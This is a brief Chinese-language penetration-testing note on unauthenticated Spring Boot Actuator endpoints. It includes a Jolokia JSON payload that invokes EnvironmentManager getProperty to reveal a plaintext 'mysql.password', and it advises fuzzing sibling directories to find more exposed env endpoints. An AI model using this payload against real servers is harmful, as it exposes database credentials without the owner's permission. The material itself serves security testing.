测试发现spring boot actuator接口未授权访问：

 

之前写过用mat工具获取加密数据的明文，下面尝试通过jolokia接口获取明文数据：

payload：

{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["mysql.password"]}

 

开始正题，发现这种二极目录下的spring boot actuator接口未授权后，可以尝试针对其他二极目录进行访问尝试，或者直接fuzz二级目录接口，fuzz如下：

 

fuzz出一个二级目录，查看env接口：

 

这样一来我们就可以获取更多的加密数据的信息。